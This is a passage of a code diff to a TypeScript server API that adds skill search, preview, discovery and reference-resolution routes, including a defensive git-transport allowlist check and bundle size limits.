+ resolveProjectIdentity,
} from '@inkeep/open-knowledge-core/shadow-repo-layout';
+import {
+ acquiredBundleTooLarge,
+ discoverSkillDirs,
+ discoverWellKnownSkills,
+ enumerateInstalledSkills,
+ fetchSource,
+ findByContentHash,
+ inspectPluginBundleDir,
+ inspectPluginSource,
+ parseGitHubRepoSearch,
+ parseOpenGraph,
+ parseSkillDir,
+ parseSkillsLock,
+ parseSkillsShSearch,
+ parseSkillsShWebsiteSource,
+ parseSource,
+ pluginRepositoryUrl,
+ readSkillDirMeta,
+ readWellKnownIndex,
+ resolvePluginUpdateSource,
+ resolveSkillsShImportSource,
+ retrofitPackLockEntry,
+ SKILL_IMPORT_MAX_BUNDLE_FILES,
+ SKILL_IMPORT_MAX_FILE_BYTES,
+ SKILL_IMPORT_MAX_TOTAL_BYTES,
+ SKILLS_LOCK_REL,
+ SkillFetchError,
+ type SkillsLock,
+ type SourceSpec,
+ skillsShSkillLinks,
+ upsertLockEntry,
+ type WellKnownIndex,
+} from '@inkeep/open-knowledge-core/skills-catalog';
import busboy from 'busboy';
import { fileTypeFromBuffer } from 'file-type';
import { parse as parseYaml, stringify as stringifyYaml } from 'yaml';
+import { type Entry, fromBuffer as yauzlFromBuffer, type ZipFile } from 'yauzl';
import { z } from 'zod';
import {
ACP_AGENT_HARNESS_CLIS,
@@ -325,6 +392,7 @@ import { enrichDirectory } from './content/enrichment.ts';
import { applyFolderFrontmatterPatch } from './content/folder-frontmatter-write.ts';
import {
applySkillBundleFileDelete,
+ applySkillBundleFileRename,
applySkillBundleFileWrite,
applySkillDelete,
applySkillMove,
@@ -462,27 +530,28 @@ import {
computeShareTargetStatus,
SHARE_TARGET_STATUS_HANDLER_TAG,
} from './share/target-status.ts';
-import { BUNDLE_SKILL_NAME, isInternalBundleSkillName } from './skill-bundles.ts';
-import { buildAndOpenSkill } from './skill-install.ts';
-import { readSkillManagement, writeSkillManagement } from './skill-management.ts';
import {
- computePackUpdateStatus,
- isPackSkillName,
- readBundledPackSkill,
- readSkillVersion,
-} from './skill-pack-version.ts';
+ BUNDLE_SKILL_NAME,
+ isInternalBundleSkillName,
+ USER_GLOBAL_BUNDLE_IDS,
+} from './skill-bundles.ts';
+import { buildAndOpenSkill, detectUserSkillHosts } from './skill-install.ts';
import {
+ classifyInPlaceDest,
+ projectInPlaceSkill,
projectSkill,
readSkillBundledFiles,
+ relocateInPlaceCanonical,
+ removeInPlaceSkillCopies,
resolvedHosts,
resolveSkillTargets,
reverseProjectSkill,
+ skillHostDir,
+ skillProjectionRoots,
validateSkillForInstall,
} from './skill-projection.ts';
-import { countImportableEditorSkills, reconcileSkillInstalls } from './skill-reconcile.ts';
-import { reprojectAllManagedSkills } from './skill-reproject.ts';
+import { rewriteSkillRefsAcrossScope, type SkillRefRewrite } from './skill-ref-rename.ts';
import { readSkillInstallStateSnapshot } from './skill-state.ts';
-import { readSkillTargets, writeSkillTargets } from './skill-targets-store.ts';
import { handleSpawnCursor } from './spawn-cursor-api.ts';
import { assertRealpathWithinDir } from './symlink-guard.ts';
import { readUiLock } from './ui-lock.ts';
@@ -494,6 +563,7 @@ import {
export { extractPageTitle } from './page-identity.ts';
+import type { SkillHostId } from '@inkeep/open-knowledge-core/skills-catalog';
import { context, propagation, SpanKind, SpanStatusCode } from '@opentelemetry/api';
import {
ATTR_HTTP_REQUEST_METHOD,
@@ -551,6 +621,7 @@ import {
type ReconcileBeforeWriteResult,
reconcileDiskBeforeAgentWrite,
} from './external-change.ts';
+import { registerExternalSkill } from './external-skill-registry.ts';
import { extractActorIdentity } from './extract-actor-identity.ts';
import {
contentHash,
@@ -573,6 +644,7 @@ import {
tracedRenameSync,
tracedRmdirSync,
tracedRmSync,
+ tracedSymlinkSync,
tracedUnlinkSync,
tracedWriteFileSync,
} from './fs-traced.ts';
@@ -601,6 +673,16 @@ import {
} from './http/request-id.ts';
import { validateBody, withValidation } from './http/request-validation.ts';
import { successResponse } from './http/success-response.ts';
+import {
+ aliasedSourceRoots,
+ knownSkillRootsFor,
+ resolveDefaultSkillHomeRel,
+ resolveGlobalNativeSkillDir,
+ scanGlobalInPlaceSkills,
+ scanHostRootAliases,
+ scanInPlaceSkills,
+ standardSkillRoots,
+} from './in-place-skills.ts';
import { initContent } from './init-project.ts';
import { guardedFetch } from './link-preview/guarded-fetch.ts';
import { buildLinkPreviewMetadata, type GuardedFetch } from './link-preview/metadata.ts';
@@ -677,7 +759,25 @@ import {
type WriterIdentity,
} from './shadow-repo.ts';
import { createSingleFlight } from './single-flight.ts';
+import {
+ linkEditorSkillFolder,
+ scanSkillFolderStates,
+ unlinkEditorSkillFolder,
+} from './skill-folder-links.ts';
+import {
+ readFolderExpectations,
+ readSkillInstallModeRaw,
+ readSkillPlacements,
+ recordFolderExpectation,
+ recordKnownSkillRoot,
+ recordSkillPlacement,
+ recordSkillSourceHost,
+ removeSkillPlacement,
+ resolveSkillPlacementPath,
+} from './skill-placements.ts';
import { restoreSkillVersion } from './skill-restore.ts';
+import { getPopularSkills } from './skills-leaderboard.ts';
+import { mutateSkillsLock, readSkillsLockFile } from './skills-lock-store.ts';
import { SuggestLinksTargetNotFoundError, suggestLinks } from './suggest-links.ts';
import type { SyncEngine } from './sync-engine.ts';
import { getMeter, getTracer, withSpan, withSpanSync } from './telemetry.ts';
@@ -689,6 +789,50 @@ import { recordTimelineCoalesced } from './timeline-telemetry.ts';
// Recreating the histogram every request allocates + registers a fresh
// instrument on every hit.
let _httpDurationHist: ReturnType<ReturnType<typeof getMeter>['createHistogram']> | null = null;
+/**
+ * Defense-in-depth git-transport gate for the skill-acquisition routes
+ * (preview / discover / import / reimport). Sends a 400 and returns true when
+ * `spec` is a git source whose URL is not an allowlisted transport. `parseSource`
+ * already rejects non-allowlisted transports (its ALLOWED_GIT_TRANSPORTS mirrors
+ * `isAllowedGitUrl`), so in practice this never fires — it is a drift tripwire at
+ * the trust boundary before `git clone`, re-closing the ext::/fd:: RCE class if
+ * the two allowlists ever diverge.
+ */
+function rejectDisallowedGitSpec(res: ServerResponse, spec: SourceSpec, handler: string): boolean {
+ if (spec.kind === 'git' && !isAllowedGitUrl(spec.url)) {
+ errorResponse(res, 400, 'urn:ok:error:url-not-allowed', 'Git URL protocol is not allowed.', {
+ handler,
+ cause: new Error(`url=${spec.url}`),
+ });
+ return true;
+ }
+ return false;
+}
+
+const SKILL_IMPORT_WRITE_LIMITS = {
+ maxFileBytes: SKILL_IMPORT_MAX_FILE_BYTES,
+ maxFiles: SKILL_IMPORT_MAX_BUNDLE_FILES,
+} as const;
+
+function importedBundleLimitError(
+ acquired: NonNullable<ReturnType<typeof parseSkillDir>>,
+): string | null {
+ if (acquired.files.length > SKILL_IMPORT_MAX_BUNDLE_FILES) {
+ return `Skill has ${acquired.files.length} dependent files; the import cap is ${SKILL_IMPORT_MAX_BUNDLE_FILES}.`;
+ }
+ let totalBytes = Buffer.byteLength(acquired.skillMd);
+ for (const file of acquired.files) {
+ const bytes = file.bytes?.byteLength ?? Buffer.byteLength(file.content ?? '');
+ if (bytes > SKILL_IMPORT_MAX_FILE_BYTES) {
+ return `${file.relPath} is ${bytes} bytes; the import per-file cap is ${SKILL_IMPORT_MAX_FILE_BYTES}.`;
+ }
+ totalBytes += bytes;
+ }
+ return totalBytes > SKILL_IMPORT_MAX_TOTAL_BYTES
+ ? `Skill is ${totalBytes} bytes; the import bundle cap is ${SKILL_IMPORT_MAX_TOTAL_BYTES}.`
+ : null;
+}
+
function httpDurationHist(): ReturnType<ReturnType<typeof getMeter>['createHistogram']> {
_httpDurationHist ||= getMeter().createHistogram('http.server.request.duration', {
description: 'HTTP server request duration in seconds',
@@ -5412,10 +5556,13 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
const base = folder.replace(/\/$/, '');
const prefix = base === '' ? '' : `${base}/`;
if (kind === 'template') return `${prefix}.ok/templates/${name}`;
- // A skill is project-root-scoped (`folder` is always '' for project skills),
- // so the key is `.ok/skills/<name>` — the directory, not a single file —
- // matching the folder-timeline query shape for a `.ok/` artifact.
- if (kind === 'skill') return `${prefix}.ok/skills/${name}`;
+ // A skill's key is its CONTENT-DOC name — the real bundle dir + `/SKILL`,
+ // which is what `/api/history` filters contributors on. Hardcoding the
+ // retired `.ok/skills/<name>` store shape made every edit / move / duplicate
+ // / bundle-file write fail the OkActor match, so those commits never showed
+ // in the skill's own history. `projectSkillDirRel` resolves in-place first
+ // and falls back to the store only for a resident not yet drained.
+ if (kind === 'skill') return `${projectSkillDirRel(String(name))}/SKILL`;
if (kind === 'folder-frontmatter') return `${prefix}.ok/frontmatter`;
return base === '' ? '.' : base;
}
@@ -7486,6 +7633,581 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'backlinks', method: 'GET', skipBodyParse: true },
);
+ /**
+ * Read-only cross-harness installed-skill enumeration. `GET /api/skills/installed`
+ * returns `{ skills, packs }` — every skill OK can see across all harness
+ * homes (Claude plugins + the bare skill dirs), normalized + de-duped. Pure
+ * read: no home is mutated (NOT in MUTATING_ROUTES). 200 with empty arrays on
+ * a machine with nothing installed.
+ */
+ const handleSkillsInstalled = withValidation(
+ EmptyRequestSchema,
+ async (_req, res) => {
+ try {
+ // The catalog is machine-global; the detected sidebar shows it under the
+ // OPEN project's scopes. Two moves keep it faithful to the project |
+ // global invariant (precedent #50): (1) resolve a linked worktree to its
+ // parent-checkout identity so the parent's project-scoped installs
+ // (keyed on the parent path) still match here; (2) ALSO scan this
+ // project's `.<harness>/skills` dirs so every harness's project skills
+ // surface, not just Claude plugins. The SAME identity is used to scan,
+ // stamp, and filter — drop skills bound to a *different* project.
+ const identity = resolveProjectIdentity(projectDir ?? contentDir);
+ const catalog = enumerateInstalledSkills({ projectDir: identity });
+ // In-place editor-dir skills are first-class `/api/skills`
+ // entries at BOTH scopes — dropping them here keeps the same skill from
+ // double-listing as a "detected" row. What remains detected: plugin-cache
+ // skills (`~/.claude/plugins/**`), which the in-place scans don't cover.
+ const inPlaceNames = new Set(scanInPlaceSkills(contentDir).map((s) => s.name));
+ const globalInPlaceNames = new Set(scanGlobalInPlaceSkills(skillsHome).map((s) => s.name));
+ const result = {
+ ...catalog,
+ skills: catalog.skills.filter(
+ (s) =>
+ isDetectedSkillInProject(s.provenance, identity) &&
+ !(s.provenance.scope === 'project'
+ ? inPlaceNames.has(s.name)
+ : globalInPlaceNames.has(s.name)),
+ ),
+ };
+ successResponse(res, 200, SkillsInstalledSuccessSchema, result, {
+ handler: 'skills-installed',
+ });
+ } catch (e) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to enumerate installed skills.',
+ { handler: 'skills-installed', cause: e },
+ );
+ }
+ },
+ { handler: 'skills-installed', method: 'GET', skipBodyParse: true },
+ );
+
+ // `GET /api/skills/search?q=<query>` — proxy skill discovery. Primary backend is
+ // the keyless skills.sh endpoint its own CLI uses (undocumented, so we
+ // defensive-parse and fall back to GitHub-topic search on error or shape drift).
+ // The GitHub fallback is degraded (repo-level, no install-count ranking); the
+ // response's `backend`/`degraded` let the client drop the install-count sort.
+ const handleSkillsSearch = withValidation(
+ EmptyRequestSchema,
+ async (req, res) => {
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const q = url.searchParams.get('q')?.trim() ?? '';
+ if (q.length < 2) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Search query must be at least 2 characters.',
+ { handler: 'skills-search' },
+ );
+ return;
+ }
+ try {
+ const r = await fetch(`https://skills.sh/api/search?q=${encodeURIComponent(q)}&limit=30`, {
+ signal: AbortSignal.timeout(8000),
+ });
+ if (r.ok) {
+ const results = parseSkillsShSearch(await r.json());
+ successResponse(
+ res,
+ 200,
+ SkillsSearchSuccessSchema,
+ { results, backend: 'skills.sh', degraded: false },
+ { handler: 'skills-search' },
+ );
+ return;
+ }
+ log.warn(
+ { status: r.status },
+ 'skills.sh search unavailable — falling back to GitHub topic search',
+ );
+ } catch (e) {
+ log.warn({ err: e }, 'skills.sh search failed — falling back to GitHub topic search');
+ }
+ try {
+ const ghQ = encodeURIComponent(`${q} topic:agent-skills`);
+ const gh = await fetch(`https://api.github.com/search/repositories?q=${ghQ}&per_page=30`, {
+ signal: AbortSignal.timeout(8000),
+ headers: { Accept: 'application/vnd.github+json' },
+ });
+ if (!gh.ok) {
+ // 403 (unauthenticated rate cap) / 429 are the common cases. Reporting
+ // these as an empty result set told the user "No skills found" — that
+ // the skill does not exist — when both backends were simply refusing
+ // to answer. Take the same exit as the outer catch so the client says
+ // the search failed instead.
+ log.warn({ status: gh.status }, 'GitHub skill search fallback returned non-ok');
+ errorResponse(
+ res,
+ 502,
+ 'urn:ok:error:internal-server-error',
+ 'Skill discovery is temporarily unavailable.',
+ { handler: 'skills-search', detail: `GitHub fallback returned ${gh.status}.` },
+ );
+ return;
+ }
+ const results = parseGitHubRepoSearch(await gh.json());
+ successResponse(
+ res,
+ 200,
+ SkillsSearchSuccessSchema,
+ { results, backend: 'github-fallback', degraded: true },
+ { handler: 'skills-search' },
+ );
+ } catch (e) {
+ errorResponse(
+ res,
+ 502,
+ 'urn:ok:error:internal-server-error',
+ 'Skill discovery is temporarily unavailable.',
+ { handler: 'skills-search', cause: e },
+ );
+ }
+ },
+ { handler: 'skills-search', method: 'GET', skipBodyParse: true },
+ );
+
+ // `GET /api/skills/popular?limit=<n>` — the Discover blank-state list. No keyless
+ // leaderboard endpoint exists (token-gated), so the server scrapes the skills.sh
+ // front-page RSC payload, cached + best-effort (see `getPopularSkills`). An empty
+ // list (backend degraded) tells the client to fall back to topic chips.
+ const handleSkillsPopular = withValidation(
+ EmptyRequestSchema,
+ async (req, res) => {
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const limitRaw = Number(url.searchParams.get('limit'));
+ const limit =
+ Number.isFinite(limitRaw) && limitRaw > 0 ? Math.min(Math.floor(limitRaw), 60) : 24;
+ // `getPopularSkills` is best-effort (swallows fetch/parse failures and
+ // returns []), but guard the wire boundary anyway — the sibling
+ // `handleSkillsSearch` does the same, and it keeps the handler correct if
+ // the leaderboard helper's contract ever changes to throw.
+ try {
+ const results = await getPopularSkills(limit);
+ successResponse(
+ res,
+ 200,
+ SkillsSearchSuccessSchema,
+ { results, backend: 'skills.sh', degraded: results.length === 0 },
+ { handler: 'skills-popular' },
+ );
+ } catch (e) {
+ errorResponse(
+ res,
+ 502,
+ 'urn:ok:error:internal-server-error',
+ 'Popular skills are temporarily unavailable.',
+ { handler: 'skills-popular', cause: e },
+ );
+ }
+ },
+ { handler: 'skills-popular', method: 'GET', skipBodyParse: true },
+ );
+
+ // `GET /api/skills/detail?source=&name=` — enrich one discovery result for the
+ // info modal. The shared catalog-source parser owns both GitHub and website
+ // route shapes. The rich preview comes from the skills.sh page's Open Graph
+ // tags because the page itself cannot be iframed (`x-frame-options: DENY`).
+ const handleSkillsDetail = withValidation(
+ EmptyRequestSchema,
+ async (req, res) => {
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const source = url.searchParams.get('source')?.trim() ?? '';
+ const name = url.searchParams.get('name')?.trim() ?? '';
+ if (!source || !name) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'source and name are required.', {
+ handler: 'skills-detail',
+ });
+ return;
+ }
+ const links = skillsShSkillLinks(source, name);
+ if (!links) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Unrecognized skill source.', {
+ handler: 'skills-detail',
+ });
+ return;
+ }
+ const { skillsUrl, sourceKind, sourceUrl } = links;
+ let og: { title?: string; description?: string; image?: string } = {};
+ let pageReached = false;
+ try {
+ const r = await fetch(skillsUrl, { signal: AbortSignal.timeout(8000) });
+ if (r.ok) {
+ pageReached = true;
+ og = parseOpenGraph(await r.text());
+ }
+ } catch (e) {
+ log.warn({ err: e, skillsUrl }, 'skills.sh detail fetch failed — degrading to repo link');
+ }
+ successResponse(
+ res,
+ 200,
+ SkillDetailSchema,
+ {
+ title: og.title ?? name,
+ description: og.description ?? '',
+ image: og.image ?? null,
+ skillsUrl: pageReached ? skillsUrl : null,
+ sourceKind,
+ sourceUrl,
+ },
+ { handler: 'skills-detail' },
+ );
+ },
+ { handler: 'skills-detail', method: 'GET', skipBodyParse: true },
+ );
+
+ // `GET /api/skills/preview?source=&name=` fetches one un-imported bundle so
+ // Explore can render the exact files before installation. Repository and
+ // website sources converge on the same temporary-directory parser here.
+ // ponytail: remote sources are fetched per preview open; add a short-lived
+ // cache keyed on source+ref if click-through churn becomes a problem.
+ const handleSkillsPreview = withValidation(
+ EmptyRequestSchema,
+ async (req, res) => {
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const source = url.searchParams.get('source')?.trim() ?? '';
+ const name = url.searchParams.get('name')?.trim() ?? '';
+ if (!source) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'source is required.', {
+ handler: 'skills-preview',
+ });
+ return;
+ }
+ let resolvedSkillsSh: Awaited<ReturnType<typeof resolveSkillsShImportSource>> = null;
+ try {
+ resolvedSkillsSh = await resolveSkillsShImportSource(source, name || undefined);
+ } catch (error) {
+ if (error instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not resolve source.', {
+ handler: 'skills-preview',
+ cause: error,
+ });
+ return;
+ }
+ throw error;
+ }
+ const spec = resolvedSkillsSh?.spec ?? parseSource(source);
+ if (!spec) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Unrecognized preview source.', {
+ handler: 'skills-preview',
+ detail: 'Expected owner/repo, a git URL, a website source, or a local path.',
+ });
+ return;
+ }
+ if (rejectDisallowedGitSpec(res, spec, 'skills-preview')) return;
+ let cleanup: (() => void) | undefined;
+ try {
+ const fetched = await fetchSource(spec);
+ cleanup = fetched.cleanup;
+ const dirs = discoverSkillDirs(fetched.dir);
+ if (dirs.length === 0) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'No SKILL.md found in source.', {
+ handler: 'skills-preview',
+ });
+ return;
+ }
+ // Match the search row's name against the dir basename OR the SKILL.md
+ // frontmatter name (they often differ). A named MISS is a 404 here for
+ // the same reason it is one on import: this is the consent surface. The
+ // old fallback to `dirs[0]` rendered a different skill's prose under the
+ // requested name — the header still said "a preview of <name>" and the
+ // properties block still showed `<name>` — and then import refused the
+ // same miss, so the user read one skill and could only install another.
+ let pick = dirs[0];
+ if (name) {
+ const found =
+ dirs.find((d) => d.name === name) ??
+ dirs.find((d) => readSkillDirMeta(d.dir)?.name === name);
+ if (!found) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Named skill not in source.', {
+ handler: 'skills-preview',
+ detail: `"${name}" not among: ${dirs.map((d) => d.name).join(', ')}.`,
+ });
+ return;
+ }
+ pick = found;
+ }
+ const tooLarge = acquiredBundleTooLarge(pick.dir);
+ if (tooLarge) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Skill bundle is too large.', {
+ handler: 'skills-preview',
+ detail: tooLarge,
+ });
+ return;
+ }
+ const parsed = parseSkillDir(pick.dir);
+ if (!parsed) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'SKILL.md unreadable in source.', {
+ handler: 'skills-preview',
+ });
+ return;
+ }
+ const plugin = inspectPluginSource(source);
+ // The skills.sh source repo may itself be a plugin bundling several
+ // skills — skills.sh never flags that, but the clone carries the
+ // manifest and we already have it in hand (`fetched.dir`). Read-only.
+ const pluginBundle = inspectPluginBundleDir(fetched.dir);
+ successResponse(
+ res,
+ 200,
+ SkillPreviewSchema,
+ {
+ name: parsed.name,
+ description: parsed.description,
+ skillMd: parsed.skillMd,
+ // Strip raw `bytes` (binary files) — a preview renders text or shows
+ // the file as binary (`content: null`); the bytes are not JSON-safe
+ // and only matter on import.
+ files: parsed.files.map((f) => ({ relPath: f.relPath, content: f.content })),
+ plugin: plugin ?? undefined,
+ pluginBundle: pluginBundle ?? undefined,
+ },
+ { handler: 'skills-preview' },
+ );
+ } catch (e) {
+ if (e instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not fetch source.', {
+ handler: 'skills-preview',
+ cause: e,
+ });
+ return;
+ }
+ errorResponse(res, 502, 'urn:ok:error:internal-server-error', 'Preview is unavailable.', {
+ handler: 'skills-preview',
+ cause: e,
+ });
+ } finally {
+ cleanup?.();
+ }
+ },
+ { handler: 'skills-preview', method: 'GET', skipBodyParse: true },
+ );
+
+ // `GET /api/skills/discover?source=` enumerates a repository/local tree or a
+ // website's well-known index so the Import modal can offer an exact picker.
+ // ponytail: remote indexes/repos are fetched per call; cache by source+ref if
+ // debounced typing churn becomes a problem.
+ const handleSkillsDiscover = withValidation(
+ EmptyRequestSchema,
+ async (req, res) => {
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const source = url.searchParams.get('source')?.trim() ?? '';
+ if (!source) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'source is required.', {
+ handler: 'skills-discover',
+ });
+ return;
+ }
+ const websiteSource = parseSkillsShWebsiteSource(source);
+ if (websiteSource) {
+ try {
+ const skills = await discoverWellKnownSkills(`https://${websiteSource.hostname}`);
+ successResponse(
+ res,
+ 200,
+ SkillDiscoverSchema,
+ { skills },
+ { handler: 'skills-discover' },
+ );
+ } catch (error) {
+ if (error instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not fetch source.', {
+ handler: 'skills-discover',
+ cause: error,
+ });
+ return;
+ }
+ throw error;
+ }
+ return;
+ }
+ const spec = parseSource(source);
+ if (!spec) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Unrecognized source.', {
+ handler: 'skills-discover',
+ detail: 'Expected owner/repo, a git URL, a website source, or a local path.',
+ });
+ return;
+ }
+ if (rejectDisallowedGitSpec(res, spec, 'skills-discover')) return;
+ let cleanup: (() => void) | undefined;
+ try {
+ const fetched = await fetchSource(spec);
+ cleanup = fetched.cleanup;
+ const dirs = discoverSkillDirs(fetched.dir);
+ // Prefer the SKILL.md frontmatter name (what the import path matches and
+ // what a user recognizes); fall back to the dir basename.
+ const skills = dirs.map((d) => {
+ // Metadata-only: a listing has no use for bundle bytes, and reading
+ // them for every skill in a large repo is how a preview turns into an
+ // out-of-memory kill.
+ const meta = readSkillDirMeta(d.dir);
+ return { name: meta?.name ?? d.name, description: meta?.description ?? null };
+ });
+ successResponse(res, 200, SkillDiscoverSchema, { skills }, { handler: 'skills-discover' });
+ } catch (e) {
+ if (e instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not fetch source.', {
+ handler: 'skills-discover',
+ cause: e,
+ });
+ return;
+ }
+ errorResponse(res, 502, 'urn:ok:error:internal-server-error', 'Discovery is unavailable.', {
+ handler: 'skills-discover',
+ cause: e,
+ });
+ } finally {
+ cleanup?.();
+ }
+ },
+ { handler: 'skills-discover', method: 'GET', skipBodyParse: true },
+ );
+
+ // `GET /api/skills/resolve-ref?ref=<name>&scope=<scope>&from=<skill>` — resolve
+ // a skill's `/other-skill` reference by TRUSTED-PROVENANCE precedence, never a
+ // marketplace-wide name search (that would import a stranger's same-name skill
+ // thinking it's the dependency). Ladder: (1) already installed → local; (2) a
+ // sibling in the referencing skill's own origin repo/plugin → import via
+ // source; (3) a same-publisher skills.sh result with the exact name → import
+ // via publisher; else none, and the caller offers MANUAL Explore search.
+ const handleSkillsResolveRef = withValidation(
+ EmptyRequestSchema,
+ async (req, res) => {
+ const url = new URL(req.url ?? '', 'http://localhost');
+ const ref = url.searchParams.get('ref')?.trim() ?? '';
+ const from = url.searchParams.get('from')?.trim() ?? '';
+ const scope = url.searchParams.get('scope')?.trim() === 'global' ? 'global' : 'project';
+ if (!ref || !SKILL_NAME_REGEX.test(ref) || ref.length > 64) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'A valid ref is required.', {
+ handler: 'skills-resolve-ref',
+ });
+ return;
+ }
+ // Top-level guard like every sibling skills handler: `readSkillsLock`
+ // (existsSync → readFileSync) can throw on EACCES / a TOCTOU race, and an
+ // unguarded throw would surface as a context-less 500 from the outer
+ // catch.
+ try {
+ const respond = (resolution: SkillRefResolution) =>
+ successResponse(res, 200, SkillRefResolutionSchema, resolution, {
+ handler: 'skills-resolve-ref',
+ });
+
+ // 1. LOCAL — same scope first, then the other. Already-present wins: it's
+ // what the user chose to have, and importing a same-name skill would fork.
+ for (const s of [scope, scope === 'project' ? 'global' : 'project'] as const) {
+ const realDir = resolveSkillDirForRead(s, ref);
+ if (realDir !== null) {
+ // Return the REAL dir, not just the name: the caller opens this skill,
+ // and deriving the doc name from the name alone assumes the retired
+ // store layout.
+ respond({
+ kind: 'local',
+ scope: s,
+ name: ref,
+ dir: relative(s === 'project' ? contentDir : skillsHome, realDir)
+ .split(sep)
+ .join('/'),
+ });
+ return;
+ }
+ }
+
+ // Referencing skill's provenance from its scope lockfile (import origin).
+ const lockBase = scope === 'project' ? projectDir : skillsHome;
+ const entry =
+ from && lockBase
+ ? readSkillsLock(join(lockBase, ...SKILLS_LOCK_REL)).skills[from]
+ : undefined;
+
+ // 2. SAME SOURCE — a sibling in the referencing skill's own repo/plugin.
+ // (A plugin's siblings resolve here too: its source is the plugin dir.)
+ if (entry?.source) {
+ const resolvedSkillsSh = await resolveSkillsShImportSource(entry.source, ref);
+ const spec = resolvedSkillsSh?.spec ?? parseSource(entry.source);
+ const allowed = spec && !(spec.kind === 'git' && !isAllowedGitUrl(spec.url));
+ if (spec && allowed) {
+ let cleanup: (() => void) | undefined;
+ try {
+ const fetched = await fetchSource(spec);
+ cleanup = fetched.cleanup;
+ const names = discoverSkillDirs(fetched.dir).map(
+ (d) => readSkillDirMeta(d.dir)?.name ?? d.name,
+ );
+ if (names.includes(ref)) {
+ respond({ kind: 'import', source: entry.source, ref, via: 'source' });
+ return;
+ }
+ } catch (err) {
+ // Source unreachable (clone failure / bad source) — fall through to
+ // the publisher rung, but leave a trail so a stale/deleted origin
+ // repo doesn't degrade ref resolution silently.
+ log.debug(
+ { err, ref, from, source: entry.source },
+ 'resolve-ref: source rung unreachable, falling through to publisher',
+ );
+ } finally {
+ cleanup?.();
+ }
+ }
+ }
+
+ // 3. SAME PUBLISHER — a same-publisher skills.sh result with the EXACT name.
+ // Constrained (publisher + exact name), not a fuzzy match; a unique hit only.
+ if (entry?.publisher) {
+ try {
+ const r = await fetch(
+ `https://skills.sh/api/search?q=${encodeURIComponent(ref)}&limit=30`,
+ { signal: AbortSignal.timeout(8000) },
+ );
+ if (r.ok) {
+ const matches = parseSkillsShSearch(await r.json()).filter(
+ (x) => x.name === ref && x.publisher === entry.publisher,
+ );
+ if (matches.length === 1) {
+ const match = matches[0];
+ if (match) {
+ respond({ kind: 'import', source: match.source, ref, via: 'publisher' });
+ return;
+ }
+ }
+ }
+ } catch (err) {
+ // skills.sh unreachable or a malformed (e.g. HTML during an outage)
+ // response — no publisher resolution this call. Log so an outage is
+ // distinguishable from "skill genuinely absent from this publisher".
+ log.debug(
+ { err, ref, publisher: entry.publisher },
+ 'resolve-ref: skills.sh unavailable, no publisher resolution',
+ );
+ }
+ }
+
+ // 4. NONE — no trusted signal. The caller keeps the missing-ref marker
+ // and offers manual Explore search; OK never auto-picks a fuzzy match.
+ respond({ kind: 'none' });
+ } catch (err) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Could not resolve the reference.',
+ {
+ handler: 'skills-resolve-ref',
+ cause: err instanceof Error ? err : new Error(String(err)),
+ },
+ );
+ }
+ },
+ { handler: 'skills-resolve-ref', method: 'GET', skipBodyParse: true },
+ );
+
/**
* Bulk backlink-count lookup. `GET /api/backlink-counts?docNames=a,b,c`
* returns `{ counts: { a: 3, b: 0, c: 2 } }`. Serves listing UIs
@@ -15386,19 +16108,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// DELETE has no body (query-param transport); read identity + summary
// from the query string into a synthetic body for extractActorIdentity.
- const sp = url.searchParams;
- const actor = extractActorIdentity(
- {
- agentId: sp.get('agentId') ?? undefined,
- agentName: sp.get('agentName') ?? undefined,
- colorSeed: sp.get('colorSeed') ?? undefined,
- clientName: sp.get('clientName') ?? undefined,
- clientVersion: sp.get('clientVersion') ?? undefined,
- label: sp.get('label') ?? undefined,
- summary: sp.get('summary') ?? undefined,
- },
- getPrincipal,
- );
+ const actor = extractActorIdentityFromQuery(url, getPrincipal);
if (actor.kind === 'invalid-summary') {
errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
handler: 'template-delete',
@@ -15989,35 +16699,304 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
: resolve(contentDir, '.ok', 'skills');
}
- // OK's built-in project skill (`open-knowledge`) is NOT authored under
- // `.ok/skills`; it is force-installed into the editor host dirs
- // (`.claude/skills/open-knowledge/`, `.cursor/skills/...`, …). Surface it in
- // the skills index READ-ONLY so users can see exactly what their agents load.
+ /**
+ * Absolute bundle dir for a skill READ. Store retirement: the IN-PLACE
+ * editor-dir canonical wins at both scopes; the legacy `.ok/skills` store is
+ * only a fallback for a resident not yet drained. Null when neither exists.
+ *
+ * A name can be held by several distinct-CONTENT bundles in different host
+ * dirs — they are different skills, not copies. `host` picks one of them;
+ * without it the scan's by-name default (first same-name row) answers, so a
+ * host-less read stays deterministic instead of following content-hash order.
+ * A `host` that holds no such bundle resolves to null rather than falling
+ * back to a different skill.
+ */
+ function resolveSkillDirForRead(
+ scope: 'project' | 'global',
+ name: string,
+ host?: string,
+ ): string | null {
+ const store = resolve(resolveSkillsRoot(scope), name);
+ if (scope === 'global') {
+ if (host !== undefined) {
